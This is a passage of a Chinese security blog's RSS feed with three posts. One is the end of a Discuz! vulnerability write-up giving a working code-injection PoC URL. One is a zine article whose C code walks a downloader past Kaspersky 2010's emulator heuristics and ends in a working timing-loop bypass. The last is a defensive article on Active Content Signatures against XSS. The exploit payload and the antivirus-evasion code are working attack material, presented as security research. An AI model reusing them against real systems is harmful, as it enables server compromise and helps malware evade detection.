$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
$msn = &quot;$msn[0]\t$id&quot;;
$db-&amp;gt;query(&quot;UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'&quot;);
showmessage('msn_binding_succeed', 'memcp.php');
} else {
if($result == 'Declined') {
dheader(&quot;Location: memcp.php&quot;);
} else {
showmessage($response['result']);//$response没有初始化，可以自定义，from www.oldjun.com

}
}

}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;四、漏洞利用：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;showmessage函数里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;五、漏洞修复：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1.有补丁的打补丁；&lt;br /&gt;
2.没有补丁可以暂时先注释引起漏洞的语句，或者对两个变量赋个值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;poc：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;（应Saiy的要求，不发exp了！）注册一个用户登陆,然后提交&lt;br /&gt;
misc.php?action=imme_binding&amp;amp;response[result]=1:2&amp;amp;scriptlang[1][2]={${phpinfo()}}&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3441.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2010. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3441.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3441.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782635/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3441.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782635/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782635/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3441.html/feed</wfw:commentRss><slash:comments>2</slash:comments><description>作者：oldjun
首先说一下，漏洞是t00ls核心群传出去的，xhming 先去读的，然后我后来读的，读出来的都是代码执行，1月5日夜里11点多钟，在核心群的黑客们的要求下，xhming给了个poc，我给了个exp...&lt;img src=&quot;http://www1.feedsky.com/t1/328782635/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3441.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782635/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782635/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>技术文章</category><category>Discuz!</category><pubDate>Wed, 06 Jan 2010 18:29:28 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3441.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3441.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3441.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782635/1230972</fs:itemid></item><item><title>[WebZine]卡巴虚拟机启发式查毒的绕过方法</title><link>http://huaidan.org/archives/3440.html</link><content:encoded>&lt;p&gt;By &lt;a href=&quot;http://secinn.appspot.com/pstzine/read?issue=4&amp;amp;articleid=9&quot; target=&quot;_blank&quot;&gt;dangdang&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;据我了解在卡巴7中就有虚拟启发式查毒的功能。国内就有人在BLOG上发表了一篇如何突破卡巴7的虚拟机启发式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有该功能。卡巴斯基不用我多说了，大家都知道。&lt;br /&gt;
我最近在网上查到有人说卡巴斯基是俄罗斯国家科学院合作开发的，军方和克里姆林宫专用。这个我还真的不清楚了，请原谅我的无知。我先来说下什么是虚拟机启发式杀毒。&lt;br /&gt;
&lt;span id=&quot;more-3440&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;我认为在这里的虚拟机启发式杀毒应该可以理解为在虚拟机中执行和启发式杀毒。虚拟机即构造一个虚拟执行环境或者说一个仿真的环境，将病毒等恶意代码在该仿真的环境中运行实现自己脱壳等等。该仿真的环境和用户计算机的真实环境是隔离的。&lt;/p&gt;
&lt;p&gt;举个例子：现在的恶意代码都采用加壳为自己提供保护，尤其是一些已知病毒的变种。当采用虚拟机执行技术加壳保护的恶意代码仍能被杀毒软件检测到，有能力的读者可以自己实验一下。&lt;/p&gt;
&lt;p&gt;启发式指的是自我发现并推断或判定事物的方式。启发式杀毒通过分析程序指令的序列或者API函数的调用顺序以及其他恶意代码与正常程序的不同等经验和知识的组合来判定是否是恶意代码。这样的启发式杀毒具备某种人工智能特点。它的优点不用我多说废话，举个例子：Downloader相信大家都知道，最重要的两个API是URLDownloadToFile和ShellExecute(也可以是其他执行一个程序的API)。例如，在使用虚拟机启发式杀毒时，当被查毒程序的API调用序列中出现URLDownloadToFile或者ShellExecute，又或者不是按照先URLDownloadToFile后ShellExecute的调用顺序是不会被报Downloader的。&lt;/p&gt;
&lt;p&gt;可以说由于主动防御技术的种种缺点，现在各杀毒软件厂商已经将虚拟机杀毒和启发式杀毒作为杀毒业界的追求和探索的目标。可以预见到在未来几年内杀毒软件将不再会出现当正常使用系统和软件时频繁弹出主动防御窗口的尴尬。&lt;/p&gt;
&lt;p&gt;接下来将通过上面提到的Downloader例子分析下卡巴的虚拟机启发式查毒的特点，并在最后给出一种可能的绕过方法和演示代码，供各位看官赏玩。&lt;/p&gt;
&lt;p&gt;我假设您已经知道什么是Downloader，一个最简单的Downloader是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;
#include &amp;lt;urlmon.h&amp;gt;
#include &amp;lt;Shellapi.h&amp;gt;
#pragma comment (lib,&quot;Urlmon.lib&quot;)

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	TCHAR szFileName[MAX_PATH] = {0};
	URLDownloadToCacheFile(NULL,L&quot;file://c:\\windows\\notepad.exe&quot;,szFileName,MAX_PATH,0,NULL);
	ShellExecute(0,L&quot;open&quot;,szFileName,NULL,NULL,SW_SHOW);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个程序是使用Visual Studio 2008创建的Win32窗口工程。编译后卡巴2010直接报Downloader。首先使用了之前提到的xyzreg提到的方法，现在在卡巴2010下已经不适用，简单的测试了一下卡巴2010会把自己模拟成explorer.exe。所以检查父进程是否是explorer.exe的方法不行了，但是如果检查自己的父进程是否是cmd.exe就可以了。当然这个实用性并不强，因为要求Downloader必须由cmd.exe启动。&lt;/p&gt;
&lt;p&gt;我觉得应该有其他的方法可以逃过虚拟查毒，但是这里只从虚拟查毒本身入手。首先想到的是这个虚拟机和真实环境是否有区别？这个回答当然是肯定的。但是这些区别在哪里，这些区别是否会影响到。是否存在一种情况虚拟机无法虚拟而导致虚拟环境下无法执行到URLDownloadToCacheFile和ShellExecute那就不会检查到是Downloader了。这个思想很简单，然后要怎么实现呢。&lt;/p&gt;
&lt;p&gt;首先想到虚拟机是否虚拟了异常处理，如果没有虚拟异常处理，那我们认为的制造一个异常，将具有Downloader特性的API调要放到异常处理程序中不就绕过了吗。于是有了下面的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
    __try
    {
		*pResult = dividend / divisor;
    }
    __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
             EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
		TCHAR szFileName[MAX_PATH] = {0};
	URLDownloadToCacheFile(NULL,L&quot;file://c:\\windows\\notepad.exe&quot;,szFileName,MAX_PATH,0,NULL);
		ShellExecute(0,L&quot;open&quot;,szFileName,NULL,NULL,SW_SHOW);
		return TRUE;
    }
    return TRUE;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在Downloader的程序入口以参数divisor为0调用这个SafeDiv函数，。这样就会产生一个除0的错误。结果是卡巴报Downloader！看样子卡巴有对异常处理虚拟的能力。&lt;/p&gt;
&lt;p&gt;恩。。。如果我在代码中添加int 3中断会发生什么情况呢？应该也虚拟了。现在就来试试，果然在Downloader入口添加int 3后当然是查不出来了，呵呵，程序也运行不了了。接下来就看看能不能找到方法让程序在真实情况下能运行在，虚拟机下停住了。没有多久想了一个替代的方法，判断程序的输入参数。通过检查程序的输入参数来控制程序的执行流程。简单的在Downloader入口添加判断程序参数的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(strcmp(argv[1],&quot;1&quot;)!== 0)
		return;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序运行时输入参数“1”程序执行Downloader的功能，在虚拟机中执行时没有参数输入所以程序返回，检测不到恶意函数调用顺序。当然这样的恶意代码是丑陋的，所以我想到使用CreateProcess来启动Downloader自己的另一个实例。代码如下：&lt;/p&gt;
&lt;p&gt;部分变量声明和初始化代码省略。。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INT32 divisor = 1;
	if(argc == 1)
	{
		TCHAR szPath[MAX_PATH];
		GetModuleFileName(NULL,szPath,MAX_PATH);
		CreateProcess(szPath,L&quot;1 2&quot;,NULL,NULL,FALSE,0,NULL,NULL,&amp;amp;si,π);
		ExitProcess(0);
		return;
	}

	if(strcmp(argv[1],&quot;2&quot;) == 0)
		divisor = 0;
	SafeDiv(10,divisor,&amp;amp;Result);
ExitProcess(0);
	return;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译成功后，使用卡巴2010查毒。报Downloader！失望啊！&lt;/p&gt;
&lt;p&gt;将对函数参数检查的方式换成使用“命名对象”的方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//定义一个“命名对象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory( &amp;amp;si, sizeof(si) );
	si.cb = sizeof(si);
	ZeroMemory( π, sizeof(pi) );
	TCHAR szPath[MAX_PATH];
	GetModuleFileName(NULL,szPath,MAX_PATH);

	CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&amp;amp;si,π);
	return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L&quot;file://c:\\windows\\notepad.exe&quot;,szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L&quot;open&quot;,szFileName,NULL,NULL,SW_SHOW);
return 0;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;报Downloader！失望！&lt;/p&gt;
&lt;p&gt;看样子卡巴的虚拟机对API的模拟和程序执行的流程虚拟很到位！不知道对时间的虚拟的怎么样？代码中有Sleep(10000000)的语句会不会影响虚拟查毒的时间呢？根据我的实验在其中加入Sleep函数睡眠很长的一段时间并没有影响虚拟杀毒查出Downloader的时间，所以估计对时间的虚拟可能不好。将上面的代码中在CreateProcess调用之后调用Sleep睡眠一段较长的时间如5秒，然后调用CloseHandle关闭“命名事件”。&lt;br /&gt;
如果卡巴遇到Sleep函数简单的跳过，则在虚拟机中执行的顺序将是先执行Sleep后的CloseHandle关闭事件，然后再进入到新实例中创建“命名事件”，在这种情况下就能创建成功，所以程序的执行流程不会进入到URLDownloadToCacheFile处，以此绕过检测。但是实际情况时仍然被报Downloader，说明卡巴2010对Sleep等时间相关的函数虚拟的也很好。&lt;/p&gt;
&lt;p&gt;到这里停下来想想，我们已经掌握了卡巴虚拟机执行的许多特性了，最理想的方案是在上述方法中进行改进，能达到对卡巴虚拟机执行的时间方面的攻击。于是想到使用大量无意义的代码块来模拟Sleep函数的功能，原因是对于大量循环的无意义操作卡巴是否完全虚拟其执行，我想应该是没有的。于是代码变为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;
#include &amp;lt;urlmon.h&amp;gt;
#include &amp;lt;Shellapi.h&amp;gt;
#include &amp;lt;intrin.h&amp;gt;
#pragma comment (lib,&quot;Urlmon.lib&quot;)

// Global Variables:
HINSTANCE hInst;    // current instance

// Forward declarations of functions included in this code module:

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	TCHAR szMutex[] = L&quot;1111&quot;;
	HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
	int tmp = GetLastError();
	if(tmp == 0)
	{
		STARTUPINFO si;
		PROCESS_INFORMATION pi;

		ZeroMemory( &amp;amp;si, sizeof(si) );
		si.cb = sizeof(si);
		ZeroMemory( π, sizeof(pi) );
		TCHAR szPath[MAX_PATH];
		GetModuleFileName(NULL,szPath,MAX_PATH);

		CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&amp;amp;si,π);
		for(int i = 0;i &amp;lt; 1000000000; i++)
			__nop();
		CloseHandle(hEvnet);
		return 0;
	}
	TCHAR szFileName[MAX_PATH] = {0};
	URLDownloadToCacheFile(NULL,L&quot;file://c:\\windows\\notepad.exe&quot;,szFileName,MAX_PATH,0,NULL);
	ShellExecute(0,L&quot;open&quot;,szFileName,NULL,NULL,SW_SHOW);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译。对该文件执行查毒，没有检测到威胁。成功了。&lt;/p&gt;
&lt;p&gt;总的说来，卡巴的虚拟机没有真正的像真实环境一样对像&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for(int i = 0;i &amp;lt; 1000000000; i++)
			__nop();&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样的语句块进行真正的执行，导致虚拟机的时间和真实环境下的时间不一致导致在虚拟机中和真实环境下的执行流程的不一样。这样就实现了对卡巴虚拟查毒的绕过。&lt;/p&gt;
&lt;p&gt;总的说来，卡巴斯基是一个很强大的杀毒软件，杀毒能力确实也比较强，但是也不应该过分相信卡巴。有人说的好，要让人正确认识卡巴斯基这个优秀的杀毒软件。&lt;/p&gt;
&lt;p&gt;另外，本文的基于超时的攻击思路和这篇2年前的文章[2]颇有一番异曲同工之妙，而”Timing Attack”在Google Scholar上的搜索结果有1,110,000[3]条！希望通过本文，能够让各位看官重新认识Timing Attack的奇妙之处。&lt;/p&gt;
&lt;p&gt;最后，严重的感谢一下c4pr1c3的帮助和关怀。&lt;/p&gt;
&lt;p&gt;相关文献：&lt;br /&gt;
[1]	http://www.xyzreg.net/blog/read.php?39&amp;amp;page=5&lt;br /&gt;
[2]	http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf&lt;br /&gt;
[3]	http://scholar.google.com/scholar?q=timing+attack&amp;amp;hl=en&amp;amp;btnG=Search&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3440.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2009. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3440.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3440.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782636/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3440.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782636/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782636/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3440.html/feed</wfw:commentRss><slash:comments>12</slash:comments><description>By dangdang
据我了解在卡巴7中就有虚拟启发式查毒的功能。国内就有人在BLOG上发表了一篇如何突破卡巴7的虚拟机启发式查毒的文章[1]。卡巴8和最新的卡巴2010中仍然具有该功能。卡巴斯基不用我...&lt;img src=&quot;http://www1.feedsky.com/t1/328782636/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3440.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782636/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782636/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>技术文章</category><category>卡巴</category><category>WebZine</category><pubDate>Tue, 29 Dec 2009 19:28:01 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3440.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3440.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3440.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782636/1230972</fs:itemid></item><item><title>[WebZine]ACS - Active Content Signatures</title><link>http://huaidan.org/archives/3439.html</link><content:encoded>&lt;p&gt;By &lt;a href=&quot;http://secinn.appspot.com/pstzine/read?issue=4&amp;amp;articleid=8&quot; target=&quot;_blank&quot;&gt;Eduardo Vela Nava&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ACS - Active Content Signatures&lt;/p&gt;
&lt;p&gt;How to solve XSS and mix user's HTML/JavaScript code with your content with just one script&lt;/p&gt;
&lt;p&gt;Eduardo Vela Nava (sirdarckcat@gmail.com)&lt;br /&gt;
&lt;span id=&quot;more-3439&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Contents:&lt;br /&gt;
Introduction&lt;br /&gt;
Signatures&lt;br /&gt;
APIs&lt;br /&gt;
Sandboxes&lt;br /&gt;
Acknowledgements&lt;/p&gt;
&lt;p&gt;== Introduction ==&lt;/p&gt;
&lt;p&gt;One of the main challenges in secure web application development is how to mix user supplied content and the server content. This, in its most basic form has created one of the most common vulnerabilities now a days that affect most if not all websites in the web, the so called Cross Site Scripting (XSS).&lt;/p&gt;
&lt;p&gt;A good solution would be a technology capable of limiting the scope of XSS attacks, by a way to tell the browser what trusted code is, and what is not. This idea has been out for ages, but it has always required some sort of browser native support.&lt;/p&gt;
&lt;p&gt;ACS (Active Content Signature) comes to solve this problem, by creating a JavaScript code that will work in all browsers, without the need to install anything, and that will completely remove from the DOM any type of dangerous code.&lt;/p&gt;
&lt;p&gt;I will start by demonstrating how ACS solves XSS issues, without the need of the server to do any type of parsing or filtering, and without endangering the user.&lt;/p&gt;
&lt;p&gt;ACS will be appended at the beginning of the webpage's HTML code. As a simple external JavaScript code, something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/acs.js&quot;&amp;gt;/*signature here*/&amp;lt;plaintext/&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When this script is loaded, it will automatically stop the parsing of the rest of the HTML page.&lt;br /&gt;
It will, then recreate the DOM itself, taking out dangerous snippets of code (like event handlers, or scripts), making the browser display it's content's without any danger.&lt;/p&gt;
&lt;p&gt;Now, if the user wants to make exceptions so their own scripts are loaded, they can do so, in a very simple way... adding a signature.&lt;/p&gt;
&lt;p&gt;A signature is a simple definition of the active content in the page. It will instruct ACS, which scripts are safe to run, and that any other scripts should be blocked (and optionally notified).&lt;/p&gt;
&lt;p&gt;This has a big similarity with Mozilla's Content Security Policy (https://wiki.mozilla.org/Security/CSP) proposal, that will be implemented on a near future version of Firefox and Chrome (possibly IE), but with a couple of differences.&lt;/p&gt;
&lt;p&gt;In the first place, ACS allows you to sandbox untrusted scripts; this gives you the ability to mix your content with user's javascript code, and still be safe. It's important to note that this is cross browser, giving you the possibility to provide your users (as of right now) the ability to add arbitrary HTML and javascript code to your website, and still keep it safe.&lt;/p&gt;
&lt;p&gt;Besides this protection against XSS attacks, developers can benefit from ACS's functionality that is provided via an API. This API, allows developers to parse HTML safely, sandbox javascript, and provides a safe environment where user's supplied code can interact with the original content of the page in safe way.&lt;/p&gt;
&lt;p&gt;This program's sandbox functionality overlaps with some already existent tools that require server side interaction, or the user to install add-ons like Silverlight or java. ACS main advantage is that it works completely on javascript, and requires nothing in the user's client, allowing developers to automatically support their entire previous user base instantly.&lt;/p&gt;
&lt;p&gt;ACS will include in itself a system that will automatically create a signature for a webpage, to help the developer on the creation of the signature.&lt;/p&gt;
&lt;p&gt;== Signatures ==&lt;/p&gt;
&lt;p&gt;Originally, ACS was conceived to be a new idea, however later on, it was obvious that there are a lot of similarities with Mozilla's Content Security Policy rules, syntax and objectives.&lt;/p&gt;
&lt;p&gt;Either way, ACS has some different and extra signatures lacking on CSP, specifically, making it easier to migrate to it.&lt;/p&gt;
&lt;p&gt;In general, CSP forbids the webpage to display any type of inline javascript code, forcing all the code to be loaded as an external resource. As well, it forbids the creation of code via javascript strings (e.g. the use of javascript: URIs, eval, Function, setTimeout, and setInterval with string arguments), giving you the option to either change all your code to external resources, or opt out of it, and so, be vulnerable to XSS.&lt;/p&gt;
&lt;p&gt;ACS, besides the fact of allowing a page to select which external resources to load, it also provides an extra set of signatures that allow web owners to keep those scripts without enabling XSS, by specifying a hash of the code inside it.&lt;/p&gt;
&lt;p&gt;Another difference is that ACS provides the web owner to limit the amount of javascript code/forms/frames/etc... that are loaded in the page. This is a very important feature, since it allows web owners that if they put all user content after their active content, without the need of making any type hashing, the user code will be blocked (or sandboxed), and still keep the original scripts and styles, frames, and forms allowed.&lt;/p&gt;
&lt;p&gt;Yet another difference is the fact that ACS provides sandboxing functionality that can be enabled from the filter itself. It allows the user to sandbox CSS (removing dangerous properties), linearise CSS (removing the danger of ui redressing attacks), a frame breaker (allowing the page to avoid being framed), a XSS filter (that protects the application from XSS attacks being, reflected [also DOM level]), it allows to sandbox calls to eval() or disable it as a whole, it allows to disable javascript: URIs (as opt in feature), enforce SSL (avoid the page to load via HTTP), and enforce SSL cookies (delete cookies if they were leaked, and force them to be &quot;secure&quot; if they aren't).&lt;/p&gt;
&lt;p&gt;It also provides more actions to happen when an error occurs, being to warn the user, to stop the execution of the page, to sandbox the whole page, to disable the offending element, and/or to notify the web owner of the error. You can specify more than one action, and select which error will trigger which action(s).&lt;/p&gt;
&lt;p&gt;Now follows a description of the rules and events for ACS:&lt;/p&gt;
&lt;p&gt;Occurrence Counter:&lt;/p&gt;
&lt;p&gt;* script-count - Would specify the number of acceptable scripts inside the page&lt;br /&gt;
* embed-count - Would specify the number of acceptable embeds inside the page&lt;br /&gt;
* event-count - Would specify the number of acceptable html attribute events inside the page&lt;br /&gt;
* jsuri-count - Would specify the number of acceptable JS URIs (or vbscript) in href/src/etc.. arguments inside the page.&lt;br /&gt;
* datauri-count - Would specify the number of acceptable data URIs in href/src/etc.. arguments inside the page.&lt;br /&gt;
* frame-count - Would specify the number of acceptable frames inside the page&lt;br /&gt;
* form-count - Would specify the number of acceptable forms inside the page&lt;br /&gt;
* css-count - Would specify the number of acceptable CSS styles (&amp;lt;link&amp;gt; or &amp;lt;style&amp;gt;) inside the page&lt;br /&gt;
* style-count - Would specify the number of acceptable styles (as attributes) inside the page * breaker-count - Would specify the number of acceptable HTML breakers inside the document (such as other &amp;lt;plaintext&amp;gt;, &amp;lt;xmp&amp;gt;, &amp;lt;xml&amp;gt;, open arguments, etc.. with more HTML content inside, this is to avoid the corruption of the other counters, this defaults to 0 if not explicitly set).&lt;br /&gt;
* default-count – Would specify the default value for counters (except breaker count). Can be either 0 or *, the declaration of this element is mandatory.&lt;br /&gt;
* dyn-occurrence – Replace occurrence with any of the previous defined occurrence definitions, including dyn-breaker-count and dyn-default-count, if no value is specified for dyn-breaker-count it’s going to default to the remain of breaker-count , and dyn-default-count will default to default-count value.&lt;br /&gt;
* all-count - Would specify the total amount of active content elements in the DOM to be allowed.&lt;/p&gt;
&lt;p&gt;Occurrence Counter Values:&lt;/p&gt;
&lt;p&gt;* A number.&lt;br /&gt;
* An *, specifying any amount of values are accepted.&lt;/p&gt;
&lt;p&gt;Occurrences:&lt;/p&gt;
&lt;p&gt;NOTE: The hashes should be put in the format algorithm:hash, for example: sha1:f71bc019a37e4651f471f1c13d74c means the hash is using SHA-1.&lt;/p&gt;
&lt;p&gt;* script-hash - A hash or list of hashes allowed as source code.&lt;br /&gt;
* jsuri-hash - A hash or list of hashes allowed as JS URI (or vbscript).&lt;br /&gt;
* datauri-hash - A hash or list of hashes allowed as data URI.&lt;br /&gt;
* css-hash – A hash or list of hashes allowed as css.&lt;br /&gt;
* style-hash - A hash or list of hashes allowed as a style.&lt;br /&gt;
* event-hash - A hash or list of hashes allowed as inline events in the form:&lt;br /&gt;
hash(tagName::event::sourcecode)&lt;br /&gt;
* script-src - A source to match (as a global expression, regex or exact match)[15].&lt;br /&gt;
* embed-src - A source to match (as a global expression, regex or exact match).[16]&lt;br /&gt;
* frame-src - A source to match (as a global expression, regex or exact match).[17]&lt;br /&gt;
* css-src - A source to match (as a global expression, regex or exact match).&lt;br /&gt;
* form-src - A source to match (as a global expression, regex or exact match).&lt;br /&gt;
* default-src – A default source to match for all elements.&lt;/p&gt;
&lt;p&gt;Filter:&lt;/p&gt;
&lt;p&gt;* sandbox-css: Disables all active CSS properties (expression,binding).&lt;br /&gt;
* linearise -css: Disables absolute and relative styles (as well as opacity and filters).&lt;br /&gt;
* frame-breaker: Sets whether to be allowed to be framed (accepts an optional argument:&lt;br /&gt;
same-origin, specifying that only can be framed if parent is same origin).&lt;br /&gt;
* xss-filter: Enables the XSS filter for DOM based threads.&lt;br /&gt;
* sandbox-eval: Sandboxes calls to eval/setTimeout/setInterval/Function with a string argument (sandboxed code has no access to the DOM).&lt;br /&gt;
* disable-eval: Disables normal calls to eval/setTimeout/setInterval/Function with a string argument.&lt;br /&gt;
* disable-jslocation: Disables the page to set the location to javascript/vbscript: URIs via javascript.&lt;br /&gt;
* enforce-ssl: Forces the use of SSL.&lt;br /&gt;
* enforce-ssl-cookies: Changes all current cookies to cookies with “secure” flag.[18]&lt;/p&gt;
&lt;p&gt;Events:&lt;/p&gt;
&lt;p&gt;* on-error - Specifies what to do in case of any error by default, the declaration of this element is mandatory.&lt;br /&gt;
* on-error[#,##,-###...] - Specifies what to do in case of an error on the #'th, or ##'th, (or ###'th starting from the last).&lt;/p&gt;
&lt;p&gt;Event Actions:&lt;/p&gt;
&lt;p&gt;* warn - Just warn the user&lt;br /&gt;
* stop – Don’t load the page (at all)&lt;br /&gt;
* sandbox - Load the whole page sandboxed (no scripting)&lt;br /&gt;
* disable - Disable (or delete, depending) the matched element/s (on style/events/jsuri/datauri its disable and on everything else delete).&lt;br /&gt;
* notify – The event is going to be notified to the web owners.&lt;/p&gt;
&lt;p&gt;Notifications:&lt;/p&gt;
&lt;p&gt;* notify-url – Will receive one single XHR-POST request (must be same origin) with an array (called acs-notification[]):&lt;br /&gt;
o acs-notification[][request-uri]=REQUEST_URI&lt;br /&gt;
o acs-notification[][referrer]=REFERRER&lt;br /&gt;
o acs-notification[][cookies]=COOKIES_BEFORE_HTML_WAS_LOADED&lt;br /&gt;
o acs-notification[][signature]=PAGE_SIGNATURE&lt;br /&gt;
o acs-notification[][errors][]=ARRAY_OF_ERRORS_GENERATED&lt;br /&gt;
+ [signature]=SIGNATURE_BROKEN&lt;br /&gt;
+ [element]=OFFENDING_ELEMENT_BASE64_ENCODED&lt;/p&gt;
&lt;p&gt;== API ==&lt;/p&gt;
